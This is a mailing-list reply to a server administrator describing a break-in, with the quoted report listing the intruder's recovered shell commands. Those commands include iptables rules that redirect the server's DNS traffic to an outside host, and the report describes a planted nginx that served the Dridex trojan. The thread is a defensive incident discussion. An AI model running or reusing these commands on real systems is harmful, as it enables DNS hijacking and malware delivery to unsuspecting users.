Was all the logins attempts over SSH or the WordPress software? Are you
sure they did not gain access some other way, found the password and then
logged in again over SSH?
This white paper that covers the malware you mentioned says that the main
infection method is by phising the administrator. See page 4. You should
probably run a scan on your other devices as well.
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
On Wed, Oct 21, 2015 at 5:15 PM, Ian <ian@???> wrote:
> Earlier this month, a Greek IP address failed to login to five WordPress
> sites on two of my servers - not on BitFolk. One attempt each on four
> sites, and seven on another spread over several days.
>
> On Tuesday last week, it was blocked for 24 hours by both of them after
> five failed attempts to login via ssh.
>
> On Wednesday, it succeeded on one of them. Given the strength of the
> password, the fact that it's not used (by me) anywhere else, and the chance
> of doing this by random, I would quite like to know *how*.
>
> I did login over ssh that day via my mobile, but there is no sign that my
> phone is compromised - I logged into three other servers that day, and none
> of them have seen this happen. Similarly, if my PC had an issue, I would
> expect the other servers to be affected.
>
> I would be wondering about the other people who know the password for this
> one except that if it knew the password, why did the IP address fail the
> previous day?
>
> Two other 'not me' IP addresses have also since managed it, most recently
> on Sunday.
>
> What I can see that they did was firstly...
>
> netstat -napu
> cat /etc/resolv.conf
> cat /etc/bind/named.conf.default-zones
> ifconfig
> echo "1" > /proc/sys/net/ipv4/ip_forward
> iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination
> 176.9.74.8:10054
> iptables -t nat -A POSTROUTING -p udp -j MASQUERADE
> iptables -t nat -L -v -n
> iptables -t nat -L -v -n
> ifconfig
> iptables -L -v -n -x
> iptables -I OUTPUT -p udp --sport 53 -j ACCEPT
> iptables -I OUTPUT -p udp --dport 53 -j ACCEPT
> iptables -L -v -n -x
> exit
> netstat -napu
> exit
>
> .. which, if I understand it correctly, is redirecting DNS requests to
> that IP address (various sites reckon that's a site in Germany,
> chipmanuals.com, apparently owned by someone in Tbilisi, Georgia...)
>
> Secondly, on Sunday various files were placed in /tmp/.estbuild including
> a copy of nginx.
>
> This seems to have been serving a version of the Dridex trojan in the form
> of a Windows .exe file from (domain name)/uniq/* before passing the request
> onto Apache to 404 the /uniq/ URLs. Fortunately, because of how it was set
> up, only requests to the server's own domain name were affected and it
> looks like that only had about three human visitors in that time, one of
> whom complained.
>
> Obviously more could have happened - there's nothing else odd in various
> log files, but clearly they cannot be completely trusted.
>
> On the plus side, this was the server that was first in my queue to
> replace with one running Debian Jessie, and it has been ten years since
> anything like this has happened to me,* but grrr...
>
> Ian
>
> * The person who ended up being the boss of a former workplace opened an
> executable attachment in an email both 'to' and 'from' them that they knew
> they hadn't sent, but they "wanted to know what it was..."
>
> _______________________________________________
> users mailing list
> users@???
> https://lists.bitfolk.com/mailman/listinfo/users
>
--
My PGP is available at:
http://downgoat.net/contact/
